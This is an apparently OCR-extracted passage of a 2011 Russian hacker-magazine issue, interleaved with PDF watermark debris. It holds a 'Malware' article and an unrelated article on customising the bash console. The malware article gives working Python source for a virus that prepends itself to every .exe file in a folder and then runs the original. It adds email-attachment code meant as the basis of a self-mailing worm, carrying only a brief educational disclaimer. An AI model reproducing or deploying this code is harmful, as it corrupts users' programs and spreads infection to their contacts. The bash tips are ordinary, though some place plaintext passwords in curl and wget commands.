Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
9.8 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. То есть, сначала будет выполняться вирус, который в конце своего черного дела запустит оригинальную программу, чтобы лишний раз не вызывать подозрения у пользователя. По традиции взглянем на код:

Код HLLP-вируса

import sys import os import shutil

virPath = os.path.split(sys.argv[0]); names = os.listdir('.');

fvir = open(sys.argv[0], 'rb'); virData = fvir.read(19456);

for name in names:

namePair = os.path.splitext(name); if namePair[1] == '.exe' and \

name != virPath[1]: os.rename(name, name + 'tmp'); fprog = open(name + 'tmp', 'rb'); progData = fprog.read();

fnew = open(name, ‘wb’); fnew.write(virData + progData);

fnew.close();

fprog.close();

os.remove(name + 'tmp');

origProgData = fvir.read();

origProg = 'original_' + virPath[1]; forig = open(origProg, 'wb'); forig.write(origProgData);

fvir.close();

forig.close();

os.execl(origProg, ' ');

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником. Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой.

Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция: name != virPath[1], а перед этим выполняется команда

В емаксе тоже можно кодить на питоне

virPath = os.path.split(sys.argv[0]). Для чего это нужно,

я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это

Литературы по питону предостаточно. В том числе и на английском

WARNING

warning

Написание вирусов — уголовно наказуемое дело. Никогда не занимайся такими вещами! Информация, представленная в

статье, опубликована исключительно в образовательных целях.

XÀÊÅÐ 03 /146/ 2011

079

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

MALWARE

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

000

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Питон штука кроссплатформенная, можно и под Linux что-нибудь наваять

хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу. Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса

— не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы. Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Для начала давай посмотрим, как с помощью Python отправить письмо. Небольшой примерчик, от которого мы будем отталкиваться в дальнейшем:

Отправка письма import smtplib

from email.mime.text import MIMEText

msg = MIMEText('Message text')

#me == email отправителя

#you == email получателя msg['Subject'] = 'Test message' msg['From'] = me

msg['To'] = you

s = smtplib.SMTP('')

s.sendmail(me, [you], msg.as_string()) s.quit()

Здесь мы используем библиотеку smtplib и входящий в нее пакет MIMEText. Код настолько прост, что не требует особых разъяснений. Единственное, на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если для отправки сообщения требуется ввести логин и пароль, то придется вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо приаттачить его к письму. Для этого придется импортировать еще пару дополнительных библиотек и написать немного кода. Будет это выглядеть примерно так:

Отправка письма с вложением

import smtplib

import mimetypes

from email import encoders

from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase

080

XÀÊÅÐ 03 /146/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Работа над вирусом в самом разгаре

outer = MIMEMultipart()

#me == email отправителя

#you == email получателя outer['Subject'] = ‘Test message’ outer['From'] = me

outer['To'] = you

ctype, encoding = mimetypes.guess_type(path_to_file) if ctype is None or encoding is not None:

ctype = 'application/octet-stream' maintype, subtype = ctype.split(‘/’, 1)

fp = open(path_to_file, ‘rb’)

msg = MIMEBase(maintype, subtype) msg.set_payload(fp.read()) fp.close()

encoders.encode_base64(msg)

msg.add_header('Content-Disposition', 'attachment', filename=file_name)

outer.attach(msg)

s = smtplib.SMTP('')

s.sendmail(me, [you], outer.as_string()) s.quit()

В импорте у нас появилась библиотека mimetypes, а также модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart

позволяет формировать емайл-сообщение из различных видов данных (текст, картинки и прочее). MIMEBase работает с файлами произвольного типа — например, exe. В качестве основы сообщения мы берем переменную типа MIMEMultipart и добавляем к ней объект MIMEBase, в который предварительно считали и декодировали в base64 содержимое нужного нам файла.

Теперь, когда вирус может сам себя отправлять в электронном

XÀÊÅÐ 03 /146/ 2011

сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут полет фантазии вирмейкера на питоне ничем не ограничен. Можно, например, поискать адреса на жестком диске, просканировав все имеющиеся на нем файлы. А можно воспользоваться адресной книгой Outlook. Для последнего тебе понадобится пакет Python Win32 Extensions.

Несколько замечаний

Самые сообразительные могут задать один маленький вопрос: «Питон — это скрипты, а exe — бинари. Как скриптом можно заразить исполняемый файл Windows?». Ответ на него очень прост — питоновские скрипты можно конвертировать в exeфайлы. Да-да, и делается это очень легко. Тут я описывать процесс не буду (ты ведь не хочешь, чтобы младшая сестренка, взяв в руки ][, получила бы исчерпывающее руководство по уничтожению твоего же компа :)), так что за подробностями — к Гуглу.

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :). z

081

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

 

 

 

 

UNIXOID

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сергей Яремчук grinder@tux.in.ua

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w.

 

 

 

 

 

 

 

 

 

o

 

 

 

Евгений Зобнин zobnin@gmail.com

 

 

 

 

 

 

 

 

.c

 

 

 

 

p

d

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

Юрий Видинеев adeptg@gmail.com

 

 

 

f-xchan

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Поднятаяцелина

Осваиваемиобустраиваемконсоль

Настроенный по дефолту терминал — унылое зрелище, отпугивающее новичков и наводящее тоску на гуру. Многое из того, что способен дать командный интерпретатор пользователю, оказывается скрыто за семью замками, а то, что остается доступным — просто неудобно. Перед тем, как консоль станет действительно сподручным инструментом, придется изрядно попотеть.

Полезнаяинфа

ные. Так, например, в дистрибутиве Ubuntu

Нетруднодогадаться, чтоюзерздесьпояв-

вприглашении

содержимое переменной PS1 выглядит так:

ляетсязасчетуправляющегосимвола'\u',

Приглашение командного интерпретатора

 

имяхоста— засчет'\h', атекущийкаталог

bash формируется на основе содержимого

'${debian_chroot:+($debian_

— это'\w'. Неуклюжаязапись, содержащая

переменной окружения PS1. Если верить

chroot)}\u@\h:\w\$ '

всебесловаdebian_chroot, этовсеголишь

man-страницам, эта переменная может

 

индикатортого, находитсялипользовательв

 

содержать любые строки, а также довольно

Апривыводенаэкранпревращаетсявовсем

chroot-окружении. Такоелаконичноепригла-

большой набор специальных управляющих

знакомуюстрокувида:

шение, конечно, удобно, носодержитдалеко

символов, которые при выводе приглаше-

 

невсюинформацию, которуюbash способен

ния будут превращены в актуальные дан-

юзер@имя_хоста:текущий_каталог$

отобразить. Вегоарсеналеестькакминимум

 

 

 

082

XÀÊÅÐ 03 /146/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Команда alias, вызванная без аргументов, выдает перечень используемых псевдонимов

двадесяткаразличныхуправляющихпоследовательностей, окоторыхмногиепользователидаженеподозревают. Вотсписокнаиболееинтересныхизних:

\d — текущая дата

\j — количество фоновых заданий \A — текущее время

\! — номер команды в истории

Крометого, вPS1 вполнеможноиспользоватьтекущие переменныеокружения, аеслиучитывать, чтоперед каждымвыводомнаэкранPS1 перечитывается, тотуда можнозасунутьтакиевкусности, как, например, статус последнейвыполненнойкоманды(переменная$?), чтобызнать, былолиееисполнениеуспешным. Управляющийсимвол'\n' такжедопустимвPS1, поэтому приглашениеквводуможносделатьмногострочным, а заодновизуальноотделитьегоотостальноготекста(с помощьюначальнойпустойстроки):

PS1='\n\w\n\u@\h:$?\$ '

Ноиэтоещеневсе. Примерсиндикаторомchrootокруженияпоказывает, чтовприглашенииможно использоватьвыводлюбыхстороннихприложений, а этооткрываетпростобезграничныевозможностипо егокастомизации. Например, следующимобразомв приглашениеможнодобавитьданныеотекущейпогоде, количественепрочитанныхписемвgmail иуровне сигналаWi-Fi:

$ vi ~/.bashrc

# Google-погода weather(){

# Ãäå ìû?

local city="Moscow"

curl -s "http://www.google.com/ig/ api?weather=$city" | sed 's|.*<temp_c data="\ ([^"]*\)"/>.*|\1|'

}

# Google-почта

Редактируем конфиг bash

unread_mail(){

# Имя пользователя и пароль (без @gmail.com) local login="логин"

local password="пароль"

wget --secure-protocol=TLSv1 --timeout=3 -t 1 -q -O — https://${login}:${password}@ mail.google.com/mail/feed/atom --no- check-certificate | grep fullcount | sed "s/<fullcount>\(.*\)<\/fullcount>/\1/"

}

# Сигнал Wi-Fi wifi(){

/sbin/iwconfig wlan0 | grep Quality | cut -d = -f2 | awk '{print $1}'

}

PS1='\n`weather`:`unread_mail`:`wifi`:\w\n\ u@\h:$?\$ '

Всеэтонужнопоместитьвконец~/.bashrc ивыставитьна файлправа600, чтобыниктонесмогподсмотретьпароли. Результатбудетпримернотаким:

-7:32:70/70:/usr/local j1m@1313:0$

INFO

info

Во FreeBSD

использовать rsync для получения прогресса копирования файлов нет смысла. Можно просто нажать

<Ctrl+T> во время работы команды cp, и она сама выдаст прогресс операции на экран.

Чтобы сделать man-страницы цветными, установи пакет most с помощью пакетного менеджера и добавь строку «export MANPAGER="/usr/ bin/most -s» в файл ~/.bashrc.

Команда «stty

-echo» отключает вывод в терминал того, что набирается на клавиатуре. Подобное поведение можно наблюдать при вводе пароля при логине в терминале.

• Убрать курсор из терминала и

выключить гашение экрана можно с помощью команд

«setterm -cursor off» и «setterm -blank 0».

Раскрашиваем консоль

Приработевконсолипользовательчастополучаетбольшоеколичествоникакнеотформатированнойинформации. Поройвыбратьвпотокеданныхдействительно необходимоедовольносложно. Благодаряспециальным непечатаемымescape-последовательностяммыможем изменитьцветифонвыводимыхсимволов, чтобыоблегчитьвосприятиеданных.

Всеescape-последовательностизаключаютсяв\[\033[ и\], апослекодацветадолжнаещестоятьбукваm. Все цветарасписанывсправочнойстранице. Например, черномусоответствует0;30, зеленому— 0;32, красному— 0;31, желтому— 1;33, белому— 1;37 итакдалее. Чтобыв строкеприглашениявыводилисьимясистемы(символh) илогинпользователя(u), подсвеченныекраснымцветом, атекущийкаталог— желтым(w), вконфиге~/.bashrc заменяемзначениепеременнойPS1 наследующее:

PS1="\[\033[0;31m\]\u@\h:\[\033[1;33m\](\w)\

HTTP://WWW

links

Сайт разработчика fortune-mod-ru: jack.kiev.ua/fortune- mod-ru

Сайт проекта bashDirB (Directory Bookmarks for BASH): dirb.info/bashDirB.

XÀÊÅÐ 03 /146/ 2011

083

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

UNIXOID

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Корректировка ошибок в bash

[\033[0m\]\[\033[0m\]"

Принеобходимостичерезточкусзапятойможноуказатьцветфона. Дляэтойцелииспользуютсячислаот40 (черный) до47 (белый).

PS1="[\033[32;40m\w\[\033[0m\]>"

Всеэтотакжеможноиспользоватьвскриптах, хотя, чтобынепутаться, вэтомслучаелучшезадействоватьпеременные, которыепотоми вызыватьвнужномместе. Например:

local GRAY="\[\033[1;30m\]" local NO_COLOUR="\[\033[0m\]"

Незабываемотом, чтонекоторыекомандыподдерживаютцветной вывод. Прощеэторешитьприпомощиалиасов:

alias ls='ls --color=auto' alias grep='grep --color=auto'

Итакдалее.

Занастройкицветовкаталоговифайловсразнымрасширениемотвечаетутилитаdircolors, устанавливающаяпеременнуюLC_COLORS. Чтобыполучитьвсезначения, простовводим:

$ dircolors --print-database

Использовавполученныйрезультаткакшаблонисохранивегов/ etc/DIR_COLORS (либовперсональномконфиге~/.dir_colors), можно создатьсвоюраскраску.

Программистамбудеточеньполезенcout (code.google.com/p/cout) — небольшойскриптнаPython, подсвечивающийвыводmake, gcc, svn и diff. Скриптнетребуетустановки, простоскачиваемираспаковываем архив, азатемсоздаемпсевдоним:

$ alias makec='cout data/make-gcc.cfg'

Теперьпроверяемработоспособность, используязаранееподготов-

ленныйMakefile:

$ makec -f Makefile

Автодополнениеbash

Однаизсамыхудобныхфункций, имеющихсявbash — автодополнениекомандпоклавише<Tab>. Кэтомубыстропривыкаешь, икажется, чтоулучшитьуженичегонельзя.

Однаковразныхдистрибутивахавтодополнениеработаетпо-разному. Например, всовременныхLinux-дистрибутивах, ориентированныхна обычногопользователя, bash нетолькодополняетсамукоманду, нои предлагаетдополнительныепараметры. ОднаковGentoo ипроизводных(вродеCalculate Linux) такогонет. Здесьприходитсяпомнитьвсе параметрыназубок. Кактакоеможетбыть? Некоторыеразработчики

дистрибутивовиспользуютпатченыеверсииbash?

Насамомделе, возможностьавтодополнениявbash — расширяемая функция. Занеобходимуюфункциональностьотвечаетвстроенная командаcompgen, генерирующаясоответствующиесписки. Все настройкипроизводятсявфайле/etc/bash_completion (илипользовательском~/.bash_completion), хотявнекоторыхдистрибутивахможно найтицелыйкаталог/etc/bash_completion.d, вкоторомобычнособраны настройки, специфичныедляотдельныхпрограмм.

Всамомпростомслучаефайлсодержитпрограммуиуказаниядляbash подополнениюименфайлов.

Например, чтобыMPlayer предлагалпользователювкачествеавтодополнениятолькофайлысрасширениемavi иmpg, пишемтакоеправило:

complete -f -X ‘!*.@(avi|mpg|AVI|MPG/so)’ mplayer

Ноэтосамыйпростойвариант, ведьMPlayer имеетбольшоеколичество дополнительныхпараметров, азначит, емупотребуетсяописатьшрифты, звуковыефайлы, субтитрыитакдалее. Всеэтолегкорешаетсяпри помощиоператораcase. Поддерживаютсярегулярныевыражения, что немногоупрощаетсозданиеправил.

Обычномайнтейнерыконкретногопакетасамисоставляютсписки параметровпрограммыдляbash_completion. Никакихчудесздесьнет. Например, дляtar создаемтакоеправило:

COMPREPLY=( $( compgen -W 'c t x u r d A' -- "$cur" ) )

Каквидишь, мыпростоперечислиливсепараметры, итеперьвпроцессевводаbash самвыдастэтотсписок.

Командаcompgen имеетрядпараметров. Так'-b' позволяетполучить списоквстроенныхкомандоболочки, '-c' — именакоманд, '-v' — имена переменныхитакдалее. Всеподробностиможнонайтивman-странице bash, всекцияхcomplete иcompgen.

Продвинутыенастройки

Bash — довольноразвитыйкомандныйинтерпретатор, поддерживающийкучуразныхнастроек. Причемизэтихнастроекможнополучить

Перенос директории dotfiles

Переносдиректорииdotfiles содногокомпа(IP-адрес192.168.1.1, порт10000) надругойприпомощиnetcat иpv:

host1$ tar -cf — dotfiles | pv | nc -l -p 10000 -q 5

host2$ nc 192.168.1.1 10000 | pv | tar -xf -

Вслучае, еслиhost1 работаетподуправлениемOpenBSD, командадолжнавыглядетьтак:

obsdhost1$ tar -cf — dotfiles | pv | nc -l 10000

084

XÀÊÅÐ 03 /146/ 2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

В юзер-ориентированных дистрибутивах разработчики позаботились об автодополнении команд

гораздобольшепрофита, чемизнастроекповедениятерминала, выполненныхспомощьюутилитsetterm иstty. Списоквсехвозможных опцийможнопосмотретькомандой«shopt -p» (shopt — сокращениеот Shell Options). Приведемсамыеинтересныеизних:

autocd — еслиэтаопциявключена, томожнопростонаписатьпутьк каталогу(опустивкомандуcd), чтобывнегопереместиться;

cdspell — bash будетпытатьсяисправлятьпростыеопечатки(напри-

мер, /ect/init.d вместо/etc/init.d) варгументахкомандыcd;;

checkjobs — недаетвыйтиизконсоли, покавнейестьвыполняющиесязадания;

cmdhist — объединениемногострочныхкомандводнустрокутак, чтобытебебылопрощеискатьихвистории;

dirspell — исправлениенебольшихошибоквнаписанииимени директорииприавтодополнении;

globstar — позволитиспользоватьконструкциювида**, обозначающую«всефайлы, начинаястекущегокаталога, рекурсивно»;

Оченьудобныйновыйwildchar — например, даннаяконструкция отобразитвсеmp3 втекущемивложенныхкаталогах:

$ ls **/*.mp3

Согласись, этогораздокорочеиудобнее, чем:

$ find ./ -name "*.mp3" -type f -print

Устанавливаютсяопцииследующимобразом:

$ shopt -s autocd cdspell checkjobs cmdhist dirspell globstar

Пишем в твиттер легко и непринужденно

Простаяфункция,отправляющаясообщениявтвиттер:

$ vi ~/.bashrc

twit()

{

curl --basic --user юзер:пароль --data status="$*" 'http://twitter.com/statuses/update. xml' -o /dev/null;

}

Использоватьтак:

$ twit 'Привет из консоли'

Незабываемпро140символов.

Коровка в консоли может выводить полезную информацию

Выводим базу данных LC_COLORS

Крометого:

1.Bash умеетсокращатьпутьктекущемукаталогувприглашении, еслионстановитсяслишкомдлинным. ДляуправленияэтойфункциейпредусмотренапеременнаяокруженияPROMPT_DIRTRIM.

Припревышенииуровнявложенностикаталогов, указанноговэтой переменной, путьбудетсокращен. Примериспользования:

$ export PROMPT_DIRTRIM=3

2.Bash поддерживает«умный» методпомещениякомандвисторию, позволяяосвободитьееотбанальностейвродеls. Висториюне будутпопадатьдубликатыикомандыls, bg, fg, exit послевыполнения следующейкоманды:

$ export HISTIGNORE="&:ls:[bf]g:exit"

3.Bash умеетделатьтак, чтобыкоманды, выполненныесиспользованиемsudo, автоматическипопадаливфайлисторииroot'аине засорялиисториюпользователя. Простодобавьследующуюстрокув файл/etc/bash.bashrc:

export HISTFILE=$HOME/.bash_hist-`whoami`

Индикаторпрогресса

Отсутствиеиндикаторапрогрессаубольшинстваконсольныхутилит

— однаизглавныхпроблемдлятех, кточастоработаетвконсоли. И хорошо, еслиподрукойестьmc, которыймногиетакииспользуют, чтобыполучитьокошкоспрогрессом. Ачтоеслиэтоголаяконсоль, а тебетребуетсясохранитьбэкапнафлешку, смонтированнуюврежимеsync? Вэтомслучаетебепоможетrsync, которыйхотьинесколько замедляетпроцесскопирования, нозатообеспечиваетвыводна экраншкалыпрогресса. Помещаемв~/.bashrc следующуюстроку:

XÀÊÅÐ 03 /146/ 2011

085

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

